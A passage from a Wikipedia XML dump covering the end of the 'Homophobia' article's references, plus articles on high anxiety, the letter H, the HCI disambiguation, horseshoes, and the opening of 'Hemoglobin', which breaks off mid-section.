#{{note|blumenfield}} Blumenfield, Warren J., &quot;''Homophobia: How we all pay the price''&quot; (1992).
#{{note|santorum}} [http://www.cwfa.org/articles/3880/CFI/cfreport/ &quot;Santorum Crisis Exposes Republican Weakness&quot;], Scott Lively, [[April 30]], [[2003]]
#{{note|glma}} [http://www.sodomylaws.org/santorum/snnews030.htm &quot;GLMA Joins LGBT Civil Rights Groups in Condemning Homophobic Remarks by Santorum&quot;], Gay and Lesbian Medical Association, [[April 22]], [[2003]]
#{{note|keyes}} [http://www.washblade.com/blog/index.cfm?blog_id=369 &quot;Blade outs Maya Keyes&quot;]
#{{note|bidstrup}} Bidstrup, Scott, &quot;''[http://www.bidstrup.com/phobia.htm Homophobia: The Fear Behind The Hatred]''&quot;. An essay on the origin and nature of homophobia. 
#{{note|berggren}} Berggren, Niclas, &quot;''[http://www.indegayforum.org/articles/berggren41.html Independent Gay Forum]''&quot;.
#{{note|koukl}} Koukl, Gregory,&quot;Stand to Reason&quot; (radio program); [http://www.str.org/free/commentaries/homosexuality/heterose.htm &quot;Heterosexism&quot;].
#{{note|sizzla}} [http://news.bbc.co.uk/1/hi/entertainment/music/3977791.stm &quot;Ban threat aborts Sizzla UK tour&quot;], Bishop, Tom, [[November 4]], [[2004]]

==See also==
{{gay rights}}
*[[Allophilia]]
*[[Anti-gay slogans]]
*[[Critiques of sexual behavior]]
*[[Heterophobia]]
*[[Heterosexism]]
*[[Homophobic hate speech]]
*[[List of sexual slurs]]
*[[National Day Against Homophobia]] (Canada)
*[[Religion and homosexuality]]
*[[Sexualism]]
*[[Violence against gays, lesbians, bisexuals, and the transgendered]]

== External links ==
* [http://en.wikiquote.org/wiki/Homophobia Wikiquote - Quotes about Homophobia]
* [http://www.religioustolerance.org/hom_phob.htm Meanings of the word Homophobia]
* [http://www.glaad.org/media/archive_detail.php?id=142 GLAAD site: Nationwide Responses to Senator Lott's Homophobic Remarks]
* [http://rci.rutgers.edu/~lcrew/pubd/homophobicimagination.html The Homophobic Imagination]

[[Category:Discrimination]]
[[Category:Neologisms]]
[[Category:Pejorative political terms]]
[[Category:Phobias]]
[[Category:Prejudices]]
[[Category:Sexual orientation and society]]

[[ar:هوموفوبيا]]
[[bg:Хомофобия]]
[[da:Homofobi]]
[[de:Heterosexismus]]
[[es:Homofobia]]
[[fi:Homofobia]]
[[fr:Homophobie]]
[[he:הומופוביה]]
[[it:Omofobia]]
[[ka:ჰომოფობია]]
[[nl:Homofobie]]
[[no:Homofobi]]
[[pl:Homofobia]]
[[pt:Homofobia]]
[[ru:Гомофобия]]
[[sv:Homofobi]]
[[tr:Homofobi]]
[[zh:同性恋恐惧症]]</text>
    </revision>
  </page>
  <page>
    <title>High anxiety</title>
    <id>13477</id>
    <revision>
      <id>15911083</id>
      <timestamp>2004-12-14T23:51:34Z</timestamp>
      <contributor>
        <username>Ellsworth</username>
        <id>63086</id>
      </contributor>
      <comment>drop the hated horiz. line</comment>
      <text xml:space="preserve">&quot;'''High anxiety'''&quot; is a non-technical term referring to a state of extreme [[fear]] or apprehension. See [[anxiety]] and [[phobia]].

Despite its common usage, this is not a technical medical term. High or extreme anxiety can be associated with an [[anxiety disorder]] or it can be a perfectly normal response to environmental stimuli. Somebody who is about to sit for an important exam or undergo a driving test will often be in a state of &quot;high anxiety&quot;.

'''''[[High Anxiety]]''''' is also the name of a film by [[Mel Brooks]], and a song performed (by Brooks) within the film.</text>
    </revision>
  </page>
  <page>
    <title>H</title>
    <id>13478</id>
    <revision>
      <id>42126979</id>
      <timestamp>2006-03-04T00:17:40Z</timestamp>
      <contributor>
        <ip>67.188.172.165</ip>
      </contributor>
      <text xml:space="preserve">{{AZ|uc=H|lc=h}}'''H''' is the eighth letter of the Latin [[Alphabet|alphabet]]. Its name in [[English language|English]] is ''aitch''. 

In the [[International Phonetic Alphabet]], this symbol is used to represent two sounds.  Its lowercase form, {{IPA|[h]}}, represents the [[voiceless glottal fricative]], and its small capital form, {{IPA|[ʜ]}}, represents the [[voiceless epiglottal fricative]].

==History==
{| border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse;text-align:center;&quot;
|-  bgcolor=&quot;#EEEEEE&quot;
! Egyptian hieroglyph &quot;fence&quot;
! Proto-Semitic {{IPA|ħ}}
! Phoenician {{IPA|ħ}}
! Etruscan H 
! Greek (H)eta
|-----
|&lt;hiero&gt;N24&lt;/hiero&gt;
|[[Image:Proto-semiticH-01.png]]
|[[Image:PhoenicianH-01.png]]
|[[Image:EtruscanH-01.png]]
|[[Image:GreekH-01.png]]
|}

The Semitic letter &amp;#1495; (''kh''êt) probably represented the [[voiceless pharyngeal fricative]] ([[International Phonetic Alphabet|IPA]] {{IPA|/&amp;#295;/}}). The form of the letter probably stood for a &quot;fence&quot;. The early [[Greek alphabet|Greek]] H stood for {{IPA|/h/}}, but later on, this letter, ''[[eta]]'' (&amp;Eta;, &amp;eta;), became a long vowel, {{IPA|/&amp;#603;:/}}. (In Modern Greek, this [[phoneme]] fell together with {{IPA|/i/}}, similar to the [[English language|English]] development where EA {{IPA|/&amp;#603;:/}} and EE {{IPA|/e:/}} came to be both pronounced {{IPA|/i:/}}.)

In [[Etruscan language|Etruscan]] and [[Latin]], the sound value {{IPA|/h/}} was maintained, but all Romance languages lost the sound &amp;mdash; [[Romanian language|Romanian]] later re-borrowed the {{IPA|/h/}} phoneme from its neighbouring Slavic languages, [[Spanish language|Spanish]] developed a secondary {{IPA|/h/}} from F, then lost it again, and [[Spanish language|Castilian]] {{IPA|/x/}} has developed an {{IPA|[h]}} [[allophone]] in some Spanish-speaking countries. In German, ''h'' is typically used as a vowel lengthener, as well as the phoneme {{IPA|/h/}}. This may be because {{IPA|/h/}} was sometimes lost between vowels in German, but it may also have to do with the fact that Romance lost {{IPA|/h/}}. Hence, H is used in many spelling systems in [[digraph (orthography)|digraphs]] and [[trigraph (orthography)|trigraphs]], such as ''ch'' in Spanish and English {{IPA|/t&amp;#643;/}}, French {{IPA|/&amp;#643;/}} from {{IPA|/t&amp;#643;/}}, Italian {{IPA|/k/}}, German {{IPA|/x/}}.

==Usage in English==
===Name of the letter===
The English name of the letter is generally pronounced {{IPA|/eɪtʃ/}} and spelled '''aitch'''. Pronunciation {{IPA|/heɪtʃ/}} (and hence spelling '''haitch''') is usually considered to be [[Phonological history of English consonants#H-adding|h-adding]] and hence nonstandard.  However it is standard in [[Hiberno-English]], and among [[Saint-Léonard (borough)|Saint-Léonard]] Italians in [[Montreal]].  It is common in [[Australian English]], often identified with those educated by Irish emigrants in [[Roman Catholic]] schools.  In [[Northern Ireland]] it is a [[shibboleth]] as [[Protestant]] schools teach ''aitch'' and Catholics ''haitch''.  The pronunciation affects the choice of indefinite article before [[initialism]]s beginning with H: for example &quot;an HTML page&quot; or &quot;a HTML page&quot;.

It is often assumed that the pronunciation {{IPA|/eɪtʃ/}} is a result of [[Phonological history of English consonants#H-dropping|h-dropping]], but in fact the original name of the letter was {{IPA|/aha/}}; this became {{IPA|/aka/}} in Latin, passed into English ''via'' Old French {{IPA|/atʃ/}}, and by Middle English was pronounced {{IPA|/aːtʃ/}}. The pronunciation {{IPA|/heɪtʃ/}} is a [[hypercorrection]] formed by analogy with the names of the other letters of the alphabet, most of which include the sound they represent.

===Value===
H occurs as a single-letter grapheme (with value {{IPA|/h/}} or [[silent letter|silent]]) and in the 2-letter graphemes ''ch''({{IPA|/tʃ/}}), ''gh'' (either silent or {{IPA|/g/}}, {{IPA|/f/}}) , ''ph'' ([[Greek language|Greek]] words with {{IPA|/f/}}), ''rh'' (Greek words with {{IPA|/r/}}), ''sh'' ({{IPA|/ʃ/}}), ''th'' (either {{IPA|/θ/}} or {{IPA|/ð/}}), ''wh'' (either {{IPA|/w/}} or {{IPA|/ʍ/}}: see [[English consonant cluster reductions#Wine-whine_merger|wine-whine merger]]). In [[transliteration]]s from [[Russian language|Russian]], ''zh'' may occur for {{IPA|/ʒ/}}.

H is silent in some words of [[Romance language|Romance]] origin:
*Initially in ''heir'', ''honest'', ''honour'', ''hour''; for [[American English]] usually also ''herb'', and sometimes ''homage''.  
*For some speakers, also in an initial unstressed syllable, as &quot;an historic occasion&quot;; to retain the &quot;an&quot; and pronounce the H may be considered affected.  
*After ''ex'' when x has value {{IPA|/gz/}}, as ''exhaust''.
*For many speakers, between two vowels, as ''annihilate'', ''vehicle''.
*At the end of a word, as ''cheetah'', ''verandah''.

==Usage in French== 

In the French language, the name of the letter is pronounced {{IPA|/a&amp;#643;/}}.

The French language classifies words that begin with this letter in two ways that must be learned to use French properly, even though it is a silent letter either way. The ''h muet'', or &quot;mute ''h''&quot;, is considered as though the letter were not there at all, so masculine nouns get the article ''le'' replaced by the sequence ''l'''. Similarly, words such as ''un'', whose pronunciation would [[elision|elide]] onto the following word would do so for a word with ''h muet''. 

For example ''Le'' plus ''Hébergement (accommodation)'' becomes ''L'Hébergement''.

The other way is called ''h aspiré'', or &quot;aspirated ''h''&quot; (though it is still not aspirated) and is treated as a phantom consonant. Hence masculine nouns get the ''le'', separated from the noun with a bit of a glottal stop. There is no elision with such a word; the preceding word is kept separate by similar means. 

Most words that begin with an ''h muet'' (or &quot;a&quot; ''h muet'', interestingly) come from Latin (''honneur'') or from Greek through Latin (''hécatombe''), whereas most words beginning with an ''h aspiré'' come from Germanic (''harpe'') or non-Indo-European (''harem'', ''hamac'') languages. As is generally the case with French, there are numerous exceptions. In some cases, an ''h muet'' was added to disambiguate the {{IPA|[v]}} and semivowel {{IPA|[&amp;#613;]}} pronunciations: ''huit'' (from ''uit'', ultimately from Latin ''octo''), ''huître'' (from ''uistre'', ultimately from Greek through Latin ''ostrea'').

Some of these distinctions have been preserved in English through Anglo-French: ''an honour'' vs. ''a harp''.

Dictionaries mark those words that have this second kind of ''h'' with a preceding mark, either an [[asterisk]], a [[dagger (typography)|dagger]], or a little circle lower than a degree-symbol. 

==Usage in German==
In the German language, the name of the letter is pronounced /haː/.

In the [[German language]], this letter is used in the digraph &quot;ch&quot; and the trigraph &quot;sch&quot; to indicate completely different sounds. Following a vowel, it often silently indicates that the vowel is  long: In the word &quot;erhöhen&quot;, only the first &lt;nowiki&gt;&lt;h&gt;&lt;/nowiki&gt; is pronounced as /h/. This is the origin of the spelling (or pronunciation) of the English ejaculation &quot;Eh?&quot; which is not at all like an English pronunciation of the letter &quot;e&quot;.

A century ago, there was a [[spelling reform]] which eliminated the silent &lt;nowiki&gt;&lt;h&gt;&lt;/nowiki&gt; in all instances of &lt;nowiki&gt;&lt;th&gt;&lt;/nowiki&gt; in native German words such as ''Thee'' or ''Neanderthal''. Due to opposition by monarchists, the word ''Thron'' &quot;throne&quot; was exempted from this and left with &lt;nowiki&gt;&lt;th&gt;&lt;/nowiki&gt;.

==Codes for computing==
{{Letter
|NATO=Hotel
|Morse=····
|B1=●
|B2=●
|B3=○
|B4=○
|B5=●
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] H is codepoint U+0048 and the [[minuscule|lowercase]] h is U+0068.

The [[ASCII]] code for capital H is 72 and for lowercase h is 104; or in [[Binary numeral system|binary]] 01001000 and 01101000, correspondingly.

The [[EBCDIC]] code for capital H is 200 and for lowercase h is 136.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#72;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#104;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings for H==
* In [[astronomy]],
** H stands for an April 16 through 30 discovery, in the provisional designation of a comet (e.g. [[C/1874 H1]], Comet Coggia) or asteroid (e.g. [[(4662) 1984 HL]]).
* In [[biochemistry]], H is the symbol for [[histidine]].
* In [[chemistry]], H is the symbol for [[hydrogen]].
* In [[computing]]:
** [[^H]] is often used jokingly to indicate the intended deletion of the previous letter (see also [[W]]). This is because some operating systems use the control character ^H to delete the previous letter on a line.
** The [[file extension]] .h is used for [[C Programming Language|C]] [[header file]]s.
** H is an [[ITU-T]] series of recommendations on ''Audiovisual and multimedia systems'' and used in their names such as [[H.323]]. See [[:Category:ITU-T recommendations|ITU-T recommendations]].
* In [[electromagnetism]]:
** ''H'' or '''H''' or '''''H''''' is the symbol for magnetic field strength.
* In English [[slang]], H is a term for [[heroin]], a recreational drug that is highly addictive. 
* In [[Japanese language|Japanese]], H was originally an [[abbreviation]] for &quot;[[hentai]]&quot; (pervert). It has come to mean sexual, as in H games (pornographic computer games) or H suru (meaning &quot;to have sex&quot;).  Through the popularity of [[anime]] (Japanese animation), the old incorrect meaning has become known to fans in the west. See also [[Ecchi]].
* In [[List of international license plate codes|international licence plate codes]], H stands for [[Hungary]].
* In [[mathematics]], [[blackboard bold]] &lt;math&gt;\mathbb{H}&lt;/math&gt; represents the [[quaternions]] (after [[William Rowan Hamilton]], &lt;math&gt;\mathbb{Q}&lt;/math&gt; representing the [[rational number|rational]]s).
* In the [[SI]] system:
**h, [[hecto]], is the [[SI prefix]] meaning hundred, 10&lt;sup&gt;2&lt;/sup&gt;.
** H is the symbol for the [[SI derived unit]] for electric [[inductance]]: the [[henry (inductance)|henry]].
* In [[music]], H is a [[note]] in the [[Germany|German]] system, corresponding to B natural; for example, in the [[BACH motif]]
* In [[physics]], ''h'' is [[Planck's constant]].
* In thermodynamics, ''H'' is [[enthalpy]].
* '''H''' is the stage name of [[H from Steps|Ian Watkins]], formerly of the [[pop group]] [[Steps]].
* '''H''' is the nickname of [[Adrian Smith]], [[guitarist]] for the [[heavy metal music|heavy metal]] band [[Iron Maiden]].
* As the first letter of a [[postal code]]:
** In [[Canada]], H stands for the Metropolitan [[Montréal]] area.
* In [[science fiction fandom]] and [[hacker]] [[jargon]], the infix of an ''h'' is a method of &quot;marking&quot; common words, i.e., calling attention to the fact that they are being used in a nonstandard, [[irony|ironic]], or humorous way.  It is likely to have originated in the [[science fiction fandom|fannish]] [[catch phrase]] “[[Beer|Bheer]] is the One True [[God|Ghod]]!” from the mid-[[20th Century]]. The ''h'' infix marking of &quot;Ghod&quot; and other words spread into the [[1960s]] [[counterculture]] via [[underground comics]], and into early [[hacker culture|hackerdom]] either from the counterculture or from [[science fiction fandom|SF fandom]] (the three communities overlapped heavily at the time).  More recently, the ''h'' infix has become an expected feature of [[Benchmark (computing)|benchmark]] names (Dhrystone, Rhealstone, etc.); this is probably patterning on the original [[Whetstone]] (the name of a laboratory) but influenced by the fannish/counterculture ''h'' infix.

==See also==
* [[h-circumflex|&amp;#293;]]
* [[h-bar|&amp;#295;]]
* [[Eta (letter)|Eta]]

{{AZsubnav}}

[[Category:Latin letters]]

[[als:H]]
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[[el:H]]
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[[id:H]]
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[[he:H]]
[[kw:H]]
[[la:H]]
[[nl:H]]
[[ja:H]]
[[no:H]]
[[nn:H]]
[[pl:H]]
[[pt:H]]
[[ro:H]]
[[simple:H]]
[[sl:H]]
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[[sv:H]]
[[tl:H]]
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[[vi:H]]
[[to:H]]
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[[zh:H]]</text>
    </revision>
  </page>
  <page>
    <title>HCI</title>
    <id>13479</id>
    <revision>
      <id>34702431</id>
      <timestamp>2006-01-11T02:57:53Z</timestamp>
      <contributor>
        <username>GTM</username>
        <id>722489</id>
      </contributor>
      <comment>Alphabetical Order</comment>
      <text xml:space="preserve">'''HCI''' has different meanings depending on the context:
* [[Harbord Collegiate Institute]] and [[Humberside Collegiate Institute]], two schools in Toronto, Canada.
* Handgun Control Incorporated, the former name of the [[Brady Campaign|Brady Campaign to Prevent Gun Violence]], a [[gun control]] [[advocacy group]]
* [[Home Computer Initiative]], a [[UK]] [[Government]] programme designed to increase [[home computing]].
* [[Human-Computer Interaction]], the study of the interaction between people and [[computer]]s.
* [[Human-Computer Interface]], the technical means by which a human interacts with [[hardware]] or [[software]].
* [[Hwa Chong Institution]], a school located in [[Singapore]].
* HCI is also a common [[typographical error]] for [[HCl]] (with lowercase &quot;L&quot;), see [[hydrogen chloride]] and [[hydrochloric acid]].

{{TLAdisambig}}


[[de:HCI]]
[[fr:HCI]]</text>
    </revision>
  </page>
  <page>
    <title>Horseshoe</title>
    <id>13480</id>
    <revision>
      <id>41739158</id>
      <timestamp>2006-03-01T11:43:06Z</timestamp>
      <contributor>
        <username>OrphanBot</username>
        <id>621721</id>
      </contributor>
      <comment>Removing image with no source information.  Such images that are older than seven days may be deleted at any time.</comment>
      <text xml:space="preserve">:''This article is about horseshoe, as used on animals. For the game, see [[Horseshoes]].  For the home football stadium of [[Ohio State University]], see [[Ohio Stadium]].''

[[image:Horseshoe.jpg|thumb|250px|Modern horseshoes are most commonly made of [[iron]] and nailed onto the hoof.]]

A '''horseshoe''' is a U-shaped piece of [[iron]], [[rubber]], [[plastic]], rawhide or a [[laminate]] of these, [[nail (engineering)|nail]]ed or [[glue]]d to the [[hooves]] of [[horses]] and some other [[draught animal]]s--like a [[shoe]].  They are used to protect the animal's hooves from wear and tear. Early horseshoes had &quot;calkins&quot; or protruding tabs at the ends of the shoe to provide additional traction (these are still used on some competition horses in sports like team penning).  Kept as a talisman, horseshoes are said to bring [[luck]].  Horseshoes are also used for a popular game, '''[[horseshoes]]'''.

The horseshoe seems to have been introduced to Western culture by the [[Greeks]] in the 4th Century. Horseshoes are available in a wide variety of materials and styles, developed for different types of horses and the work they do. Common materials are [[steel]], [[aluminum]] and [[plastic]], and some specialized shoes are made from [[magnesium]], [[titanium]] or [[copper]].

==Reasons for use in domestic environment==

===The traditional point of view===
Since the early history of the domestication and use of horses, many factors have contributed to the need for the bottoms of domestic horses' feet (hooves) to have additional protection over and above their natural hardness. 

;Less healthy food: Live [[Poaceae|grass]]es, [[weed]]s and [[shrub]]s, which are eaten in the wild, are high in [[nutrient]]s such as [[carotene|beta carotene]].  Cultivated feeds lose a high proportion of their carotene within hours of harvesting and so do not provide this vital ingredient to the horse.  The hoof is made of horn, much as the human [[fingernail]], and grows hard, tough and flexible only with optimal nutrition.

;Less varied terrain: Horseshoes are not needed in nature as the horse walks and [[graze]]s continuously over a wide variety of surfaces.  The consequence of this nonstop travel on the horse's feet is to keep them worn to a small, smooth, even and hard state. The continual stimulation and irritation of the sole of the foot keeps it thick and hard, much like a [[callus]]. However, in [[domestication]], the customary amount of ground covered by a horse on a daily basis is greatly reduced. Therefore, the hooves harden much less and are more vulnerable to injury.

;Added weight: Horses' hooves can become quite worn out when subjected to the added weight/stress of a [[human being|human]], pack loads, cart or [[wagon]] traces.

;Wetter climate: Horses have moved from the more arid steppes to the wetter climate of northern Europe. This wetter climate and heavy soils softened the hooves and made them prone to splitting, making hoof protection necessary, and consequently it was in northern Europe that the first practical horseshoe arose.

;Exposure to ammonia: The hooves of horses that are kept in stalls or small turnouts are constantly exposed to ammonia from urine.  The hoof capsule is mostly made from [[keratin]], a [[protein]], and is weakened by this exposure.  Wearing shoes does not prevent or reduce damage from ammonia exposure.  Rather, they are meant to reduce wear on weakened hooves.    

;Consequences of less healthy hooves: In captivity, absent the natural conditioning factors present in the wild, the feet of horses grow overly large, long, fragile and soft.  Hence, protection from rocks, pebbles and hard, uneven surfaces is lacking.  Cracks in overgrown and overly brittle hoof walls are a constant danger, as is bruising of the soft tissues within the foot because of inadequately thick and hard sole material.

;Corrective shoeing: The shape, weight, and thickness of a horseshoe can significantly affect the horse's gait. [[Farrier]]s trained in [[hot shoeing]] can make custom shoes to help horses with bone or musculature problems in their legs.

;Traction: Traction devices such as [[borium]] for ice, studs for muddy or slick conditions, calks, and rims are useful for performance horses such as [[eventing|eventers]], [[show jumping|show jumpers]], [[polo|polo ponies]], and other horses that perform at high speeds, over changing terrain, or in less-than-ideal footing.

;Gait Manipulation: Some breeds such as the [[Saddlebred]], [[Tennessee Walker| Tennessee Walking Horse]], and other gaited horses are judged on their high-stepping movement. Special shoeing can help enhance their natural movement.

===New ideas about horseshoeing===
The traditional point of view on horseshoeing has been deeply reviewed in the last years based on physiological, scientific arguments. Observations on wild horses and horses in natural boarding situations (and [[barefoot horses|barefoot]] trimmed) have suggested that domesticated horses in domestic situations can grow hooves as healthy as those of wild/feral horses and do not need shoes if properly cared for. However, a long tradition of conventional horse keeping, stall boarding and shoeing has meant that these ideas have been slow to take off.

There are several variations on the theme of barefoot trimming and natural horse keeping with their main differences stemming from different philosophies on the limits of invasive trimming techniques and differing strategies during the 'transition phase' when a horse is transitioned from a traditional keeped and shod lifestyle to a natural and barefoot lifestyle. Two horse care practitioners who have been particularly influential on the barefoot horse movement are [[Jaime Jackson]] and Dr. [[Hiltrud Strasser]].

==History==

===Earliest horseshoes===
Horse owners have sought to remedy the problems shown above with supplemental support and [[armor]], beginning in the earliest days with [[rawhide boot]]s which could be tied onto the hoof.

===Metal horseshoes===
Since then, [[metal]] ([[iron]]) horseshoes have been developed.  These are nailed to the rim of the sole with nails which find a purchase in the hoof wall.

&lt;!-- Unsourced image removed: [[Image:Horseshoes.jpg|framed|These [[Roman villa]] horseshoes from about 294 CE challenge assumptions about horseshoe history.]] --&gt;

There has been some debate about when metal horseshoes were first invented - some historians believe that horseshoes were invented during the [[Middle Ages]], but the image on the right shows two of several horseshoes that were part of a much larger loot from a [[Roman villa]], found in a river near [[Neupotz, Germany|Neupotz]], [[Germany]]. They are dated to the year 294. (From Kuenzl, Ernst, ''Die Alamannenbeute aus dem Rhein bei Neupotz: Plünderungsgut aus dem römischen Gallien.'' Mainz 1993.)  In any case, metal horse shoes were not commonly used until the middle ages.

== For luck==
[[Image:Horseshoe lucky on door.jpg|thumb|A horseshoe on a door is regarded a protective [[amulet|talisman]] in some cultures]]

Horseshoes are considered a good [[luck]] charm in many cultures. A common tradition is that if a horseshoe is hung on a door with the two ends pointing up (as shown here) then good luck will occur. However, if the two ends point downwards then bad luck will occur.  Traditions do differ on this point, though.  In some cultures, the horseshoe is hung ''points down'' (so the luck pours onto you); in others, it is hung ''points up'' (so the luck doesn't fall out); still in others it doesn't matter so long as the horseshoe has been used (not new), was found (not purchased), and can be touched.

In some traditions, any good or bad luck achieved will only occur to the ''owner'' of the horseshoe, not the person who hangs it up. Therefore, if the horseshoe was stolen, borrowed or even just found then the ''owner'', not the person who found or stole the horseshoe will get any good or bad luck.  Other traditions require that the horseshoe be found to be effective.

One reputed origin of the tradition of lucky horseshoes is the story of [[Dunstan|Saint Dunstan]] and the Devil. Dunstan, who would became the [[Archbishop of Canterbury]] in AD 959, was a blacksmith by trade. The story relates that he once nailed a horseshoe to the Devil's hoof when he was asked to reshod the Devil's horse. This caused the Devil great pain, and Dunstan only agreed to remove the shoe and release the Devil after the Devil promised never to enter a place where a horseshoe is hung over the door.

Another theory concerning the placing of horseshoes above doorways is to ward off [[Faeries]] (the Celtic kind); the theory being that Faeries are repelled by iron and as horseshoes were an easily available source of iron, they could be nailed above a door to prevent any unwanted, otherworldly guests. One can see how the custom, as people began to forget the stories concerning the Fair Folk, eventually morphed into a simple good luck charm. It is also possible that the Romans, when arriving in Celtic countries, came across horseshoes nailed above doors and simply borrowed the concept of horseshoes as good luck charms, failing to understand the background of the Celtic custom, and made their use more widespread.

==External links==
*[http://www.gutenberg.org/dirs/1/4/9/9/14990/14990-h/14990-h.htm#art16 Historical development of the horseshoe] 1891 [[Scientific American]] article from [[Project Gutenberg]]

*[http://www.luckymojo.com/horseshoe.html ''Lucky Mojo'' web site] 
*[http://www.e-equestrian.com/ Discuss Hoof care]

[[Category:Horse management]]
[[Category:Horse racing]]
[[Category:Lucky/unlucky things or events]]
[[da:Hestesko]]
[[de:Hufeisen]]
[[eo:Hufumo]]
[[es:Herradura]]
[[fr:Fer à cheval]]
[[it:Ferro di cavallo]]
[[nl:Hoefijzer]]
[[simple:Horseshoe]]
[[sv:Hästsko]]</text>
    </revision>
  </page>
  <page>
    <title>Hymenostomatia</title>
    <id>13482</id>
    <revision>
      <id>15911087</id>
      <timestamp>2003-09-18T22:57:28Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Hymenostome]]</text>
    </revision>
  </page>
  <page>
    <title>Hemoglobin</title>
    <id>13483</id>
    <revision>
      <id>41442459</id>
      <timestamp>2006-02-27T09:42:29Z</timestamp>
      <contributor>
        <username>Gurch</username>
        <id>241822</id>
      </contributor>
      <minor />
      <comment>arrangment -&gt; arrangement (x2)</comment>
      <text xml:space="preserve">[[Image:Hemoglobin.jpg|thumb|300px|3-dimensional structure of hemoglobin. The four subunits are shown in red and yellow, and the heme groups in green.]]
'''Hemoglobin''' or '''haemoglobin''' (frequently abbreviated as '''Hb''') is the [[iron]]-containing [[oxygen]]-transport [[metalloprotein]] in the [[red blood cell|red cells]] of the [[blood]] in [[mammal]]s and other animals. Hemoglobin transports oxygen from the [[lung]]s to the rest of the body, such as to the [[muscle]]s, where it releases the oxygen load.

The name ''hemoglobin'' is the concatenation of ''heme'' and ''globin'', reflecting the fact that each [[subunit]] of hemoglobin is a [[globular protein]] with an embedded [[heme]] (or haem) group; each heme group contains an iron atom, and this is responsible for the binding of oxygen. The most common types of hemoglobin contains four such subunits.

Mutations in the [[gene]] for the hemoglobin protein result in a group of [[hereditary disease|hereditary diseases]] termed the ''[[hemoglobinopathy|hemoglobinopathies]]'', the most common members of which are [[sickle-cell disease]] and [[thalassemia]].

==Structure==
[[Image:Heme.png|right|framed|Heme group]]

The Hemoglobin [[molecule]] is an assembly of four [[globular protein]] subunits. Each [[subunit]] is composed of a [[protein]] chain tightly associated with a non-protein [[heme]] group.  

Each individual protein chain arranges in a set of [[alpha-helix]] structural segments connected together in a &quot;[[myoglobin]] fold&quot; arrangement, so called because this arrangement is the same folding motif used in the heme/globin proteins. This folding pattern contains a pocket which is suitable to strongly bind the heme group. 

A heme group consists of an iron atom held in a [[heterocyclic]] ring, known as a ''[[porphyrin]]''.  This iron atom is the site of oxygen binding. The iron atom is bonded equally to all four [[nitrogen]]s in the center of the ring, which lie in one plane. Two additional bonds perpendicular to the plane on each side can be formed with the iron to form the fifth and sixth positions, one connected strongly to the protein, the other available for binding of oxygen. The iron atom can either be in the Fe&lt;sup&gt;2+&lt;/sup&gt; or Fe&lt;sup&gt;3+&lt;/sup&gt; state, but ferrihaemoglobin ([[Methaemoglobin]]) (Fe&lt;sup&gt;3+&lt;/sup&gt;) cannot bind oxygen. 

In adult humans, the most common hemoglobin type is a [[tetramer]] (which contains 4 subunit proteins) called '''hemoglobin A''', consisting of two &amp;alpha; and two &amp;beta; subunits non-covalently bound. This is denoted as &amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;beta;&lt;sub&gt;2&lt;/sub&gt;. The subunits are structurally similar and about the same size. Each subunit has a molecular weight of about 16,000 [[dalton (unit)|dalton]]s, for a total [[molecular weight]] of the tetramer of about 64,000 daltons. Haemoglobin A is the most intensively studied of the haemoglobin molecules.

The four [[polypeptide chains]] are bound to each other by [[salt bridge (protein)|salt bridge]]s, [[hydrogen bonds]] and [[hydrophobic interaction]]. There are two kinds of contacts between the &amp;alpha; and &amp;beta; chains: &amp;alpha;&lt;sub&gt;1&lt;/sub&gt;&amp;beta;&lt;sub&gt;1&lt;/sub&gt; and &amp;alpha;&lt;sub&gt;1&lt;/sub&gt;&amp;beta;&lt;sub&gt;2&lt;/sub&gt;.

==Types of haemoglobins in humans==
In the [[embryo]]:
* Gower 1 (&amp;xi;&lt;sub&gt;2&lt;/sub&gt;&amp;epsilon;&lt;sub&gt;2&lt;/sub&gt;) 
* Gower 2 (&amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;epsilon;&lt;sub&gt;2&lt;/sub&gt;) ({{PDB|1A9W}})
* Haemoglobin Portland (&amp;xi;&lt;sub&gt;2&lt;/sub&gt;&amp;gamma;&lt;sub&gt;2&lt;/sub&gt;)

In the [[fetus]]:
* [[Haemoglobin F]] (&amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;gamma;&lt;sub&gt;2&lt;/sub&gt;) ({{PDB|1FDH}}) 

In adults:
* Haemoglobin A (&amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;beta;&lt;sub&gt;2&lt;/sub&gt;) ({{PDB|1BZ0}}) - The most common type.
* Haemaglobin A&lt;sub&gt;2&lt;/sub&gt; (&amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;delta;&lt;sub&gt;2&lt;/sub&gt;) - &amp;delta; chain synthesis begins late in the third trimester and in adults, it has a normal level of 2.5%
* [[Haemoglobin F]] (&amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;gamma;&lt;sub&gt;2&lt;/sub&gt;) - In adults Haemoglobin F is restricted to a limited population of red cells called F cells.

==Binding of ligands==
[[Image:Hemoglobin_t-r_state_ani.gif|framed|Steric conformations of hemoglobin in oxy and deoxy forms.]]
In the tetrameric form of normal adult hemoglobin, the binding of oxygen is a [[cooperative binding|cooperative]] process. The binding affinity of hemoglobin for oxygen is increased by the oxygen saturation of the molecule. As a consequence, the oxygen binding curve of hemoglobin is sigmoidal, or 'S'-shape, as opposed to the normal hyperbolic (noncooperative) curve. This positive cooperative binding is achieved through [[steric_effects|steric]] conformational changes of the hemoglobin protein complex: When one subunit protein in hemoglobin becomes oxygenated, it induces a confirmation or structural arrangement change in the whole complex causing the other 3 subunits to gain an increased affinity for oxygen.

Hemoglobin's affinity for oxygen is decreased in the presence of [[carbon monoxide]] because both gases compete for the same binding sites on hemoglobin, carbon monoxide binding preferentially to oxygen. Carbon '''''di'''''oxide occupies a different binding site on the hemoglobin.  Carbon dioxide reacts with water to give [[bicarbonate]], [[carbonic acid]] freed protons via the reaction, which is catalyzed by [[carbonic anhydrase]]:

